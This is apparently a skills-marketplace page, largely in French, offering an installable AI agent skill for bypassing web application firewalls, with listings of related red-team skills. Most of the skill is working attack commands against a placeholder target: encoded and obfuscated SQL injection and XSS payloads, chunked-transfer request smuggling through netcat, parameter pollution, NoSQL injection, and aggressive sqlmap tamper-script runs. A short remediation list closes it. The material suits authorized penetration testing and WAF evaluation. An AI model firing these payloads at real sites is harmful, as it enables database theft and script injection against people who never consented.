Skip to main content
performing-web-application-firewall-bypass Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance.
Aller à l'installation Skills Marketplace Découvrez et explorez les compétences IA créées par la communauté.
Installer avec Codex ou Claude Copiez ce prompt, collez-le dans Codex, Claude ou un autre assistant, puis laissez-le vérifier la page du skill et l'installer pour vous.
Copier le promptAfficher les détails du prompt Une commande directe contourne le prompt de vérification. Examinez la source avant de l'exécuter.
npx skills add https://github.com/mukul975/Anthropic-Cybersecurity-Skills --skill performing-web-application-firewall-bypassLa commande reste sur une seule ligne. Faites défiler horizontalement pour la vérifier avant de la copier.
Vous préférez une copie locale ? Téléchargez les fichiers actuellement disponibles dans SkillsMP.
Télécharger Zip Téléchargement... Plus depuis ce dépôt abusing-dpapi-for-credential-access Extract and decrypt Windows DPAPI-protected secrets (Credential Manager, browser logins/cookies, Wi-Fi credentials, KeePass keys) online or offline using SharpDPAPI, SharpChrome, Mimikatz, or Impacket's dpapi.py, including domain-wide decryption via the DPAPI backup key. Use during authorized red-team credential-access engagements after gaining a foothold or when triaging DPAPI blobs pulled from a host.
abusing-shadow-credentials-for-privesc Take over Active Directory accounts by writing attacker-controlled public keys to msDS-KeyCredentialLink (Shadow Credentials) with pyWhisker, Whisker, or Certipy, then authenticate via PKINIT to recover the target's NT hash without a password reset. Use when BloodHound shows GenericWrite/GenericAll/AddKeyCredentialLink over a target, as a stealthier alternative to ForceChangePassword, during authorized red-team engagements.
acquiring-disk-image-with-dd-and-dcfldd Create forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis.
Explorateur de fichiers
4 fichiers Métiers associés SOC
Basé sur la classification professionnelle SOC
name performing-web-application-firewall-bypass description Bypasses Web Application Firewall protections using encoding tricks, HTTP method manipulation, parameter pollution, and payload obfuscation to smuggle SQL injection, XSS, and other exploit payloads past WAF detection rules. Use when a confirmed vulnerability is blocked by a WAF, during penetration tests or red team engagements requiring bypass of perimeter security controls, or when evaluating WAF rule effectiveness and bypass resistance. domain cybersecurity subdomain web-application-security tags ["waf-bypass","waf-evasion","sql-injection","xss","payload-obfuscation","encoding-bypass","web-security"] version 1.0 author mahipal license Apache-2.0 nist_csf ["PR.PS-01","ID.RA-01","PR.DS-10","DE.CM-01"] mitre_attack ["T1190","T1059.007","T1505.003","T1083","T1027"]
Performing Web Application Firewall Bypass
When to Use
When confirmed vulnerabilities are blocked by WAF signature-based detection
During penetration testing where WAF prevents exploitation of known issues
When evaluating WAF rule effectiveness against evasion techniques
During red team engagements requiring bypass of perimeter security controls
When testing custom WAF rules for completeness and bypass resistance
Prerequisites
Burp Suite Professional with SQLMap integration
wafw00f for WAF fingerprinting and identification
SQLMap with tamper scripts for automated WAF bypass
Understanding of WAF detection mechanisms (signature, regex, behavioral)
Collection of encoding and obfuscation techniques per attack type
Knowledge of HTTP protocol nuances exploitable for evasion
Workflow
Step 1 — Identify and Fingerprint the WAF
wafw00f http://target.com
curl -sI http://target.com | grep -iE "x-cdn|server|x-powered-by|x-sucuri|cf-ray|x-akamai"
curl "http://target.com/page?id=1' OR 1=1--" -v
Step 2 — Bypass with Encoding and Obfuscation
curl "http://target.com/page?id=1%27%20OR%201%3D1--"
curl "http://target.com/page?id=1%2527%2520OR%25201%253D1--"
curl "http://target.com/page?id=1%u0027%u0020OR%u00201%u003D1--"
curl -X POST http://target.com/search \
-d
curl
curl
curl
curl
curl
"q=<script>alert(1)</script>"
"http://target.com/page?id=1' UnIoN SeLeCt password FrOm users--"
"http://target.com/page?id=1'/*!UNION*//*!SELECT*/password/*!FROM*/users--"
"http://target.com/page?id=1' /*!50000UNION*/ /*!50000SELECT*/ 1,2,3--"
"http://target.com/page?id=1'%00 OR 1=1--"
"http://target.com/page?id=1'%09UNION%0ASELECT%0D1,2,3--"
Step 3 — Bypass with HTTP Method and Protocol Tricks
curl -X PUT "http://target.com/page?id=1' OR 1=1--"
curl -X PATCH "http://target.com/page" -d "id=1' OR 1=1--"
printf "GET /page?id=1' OR 1=1-- \r\n" | nc target.com 80
curl -X POST http://target.com/page \
-H "Content-Type: application/x-www-form-urlencoded; charset=ibm037" \
-d "id=1' OR 1=1--"
curl -X POST http://target.com/page \
-F "id=1' OR 1=1--"
printf "POST /page HTTP/1.1\r\nHost: target.com\r\nTransfer-Encoding: chunked\r\n\r\n4\r\nid=1\r\n11\r\n' OR 1=1--\r\n0\r\n\r\n" | nc target.com 80
curl http://target.com/page -H "X-Forwarded-For: 1' OR 1=1--"
curl http://target.com/page -H "Referer: http://target.com/page?id=1' OR 1=1--"
Step 4 — Bypass with Payload Splitting and HPP
curl "http://target.com/page?id=1' UNION&id=SELECT password FROM users--"
curl "http://target.com/page?id=1'/*&q=*/UNION SELECT 1,2,3--"
curl -X POST http://target.com/api/query \
-H "Content-Type: application/json" \
-d '{"id": "1 AND 1=1 UNION SELECT password FROM users"}'
curl -X POST http://target.com/api/search \
-H "Content-Type: application/json" \
-d '{"query": {"$gt":"", "$where":"1==1"}}'
curl -X POST http://target.com/api/data \
-H "Content-Type: application/xml" \
-d "<data><id>1' UNION SELECT password FROM users--</id></data>"
Step 5 — Use SQLMap Tamper Scripts
sqlmap -u "http://target.com/page?id=1" --tamper=between,randomcase,space2comment
sqlmap -u "http://target.com/page?id=1" --tamper=charunicodeencode
sqlmap -u "http://target.com/page?id=1" --tamper=space2mssqlhash
sqlmap -u "http://target.com/page?id=1" --tamper=percentage
sqlmap -u "http://target.com/page?id=1" --tamper=chardoubleencode,between
sqlmap -u "http://target.com/page?id=1" \
--tamper=randomcase,space2comment,between,charunicodeencode \
--random-agent --level 5 --risk 3
sqlmap -u "http://target.com/page?id=1" \
--tamper=space2comment,randomcase \
--delay=2 --random-agent \
--technique=B --batch
Step 6 — XSS WAF Bypass Techniques
curl "http://target.com/page?q=<ScRiPt>alert(1)</ScRiPt>"
curl "http://target.com/page?q=<img src=x oNerRor=alert(1)>"
curl "http://target.com/page?q=<svg/onload=alert(1)>"
curl "http://target.com/page?q=<body onpageshow=alert(1)>"
curl "http://target.com/page?q=<marquee onstart=alert(1)>"
curl "http://target.com/page?q=<a href=javascript:alert(1)>click</a>"
curl "http://target.com/page?q=<script>alert\x601\x60</script>"
curl "http://target.com/page?q=<script>al\u0065rt(1)</script>"
curl "http://target.com/page?q=<img src=x onerror=alert(1)>"
curl "http://target.com/page?q=%253Cscript%253Ealert(1)%253C%252Fscript%253E"
Key Concepts Concept Description Signature Evasion Obfuscating payloads to avoid matching WAF regex patterns Encoding Bypass Using URL, Unicode, or HTML encoding to disguise malicious characters Protocol-Level Bypass Exploiting HTTP protocol features (chunked encoding, method override) Tamper Scripts SQLMap modules that transform payloads to evade specific WAF rules Content-Type Confusion Sending payloads in unexpected content types the WAF does not inspect Parameter Pollution Splitting payloads across duplicate parameters to evade per-parameter inspection Behavioral vs Signature WAF detection modes: pattern matching (bypassable) vs. anomaly detection (harder)
Tools & Systems Tool Purpose wafw00f WAF fingerprinting and identification SQLMap Automated SQL injection with WAF bypass tamper scripts waf-bypass.com Community-maintained WAF bypass payload database Awesome-WAF Curated GitHub repository of WAF bypass techniques Burp Suite HTTP proxy for manual payload crafting and WAF response analysis XSStrike XSS scanner with WAF detection and bypass capabilities
Common Scenarios
SQLi Through JSON — Bypass WAF by sending SQL injection payloads inside JSON request bodies that are not inspected by the WAF rules
XSS via Event Handlers — Use alternative HTML event handlers (onpageshow, onanimationstart) not covered by WAF signature rules
Encoding Chain Bypass — Apply multiple layers of encoding (URL + Unicode + HTML entity) to evade each decoding layer of the WAF
Chunked Transfer Bypass — Split malicious payload across HTTP chunked transfer encoding segments to avoid pattern matching
Method Override — Send attack payloads via PUT/PATCH methods or custom headers that WAF does not inspect
Output Format ## WAF Bypass Assessment Report
- **Target**: http://target.com
- **WAF Identified**: Cloudflare (via cf-ray header)
- **Bypass Achieved**: Yes
### WAF Detection Results
| Payload Type | Blocked | Bypass Found |
|-------------|---------|-------------|
| Basic SQLi | Yes | Yes (JSON encoding) |
| UNION SELECT | Yes | Yes (inline comments) |
| XSS <script> | Yes | Yes (SVG onload) |
| Path Traversal | No | N/A (not blocked) |
### Successful Bypass Payloads
| # | Original (Blocked) | Bypass Payload | Technique |
|---|-------------------|---------------|-----------|
| 1 | 1' OR 1=1-- | {"id":"1' OR 1=1--"} | JSON content-type |
| 2 | UNION SELECT | /*!50000UNION*/ /*!50000SELECT*/ | MySQL version comments |
| 3 | <script>alert(1)</script> | <svg/onload=alert(1)> | Alternative tag+event |
### Remediation
- Enable JSON body inspection in WAF rules
- Implement behavioral analysis alongside signature detection
- Add rules for uncommon HTML tags and event handlers
- Enable deep content inspection for all HTTP methods
- Implement request normalization before rule evaluation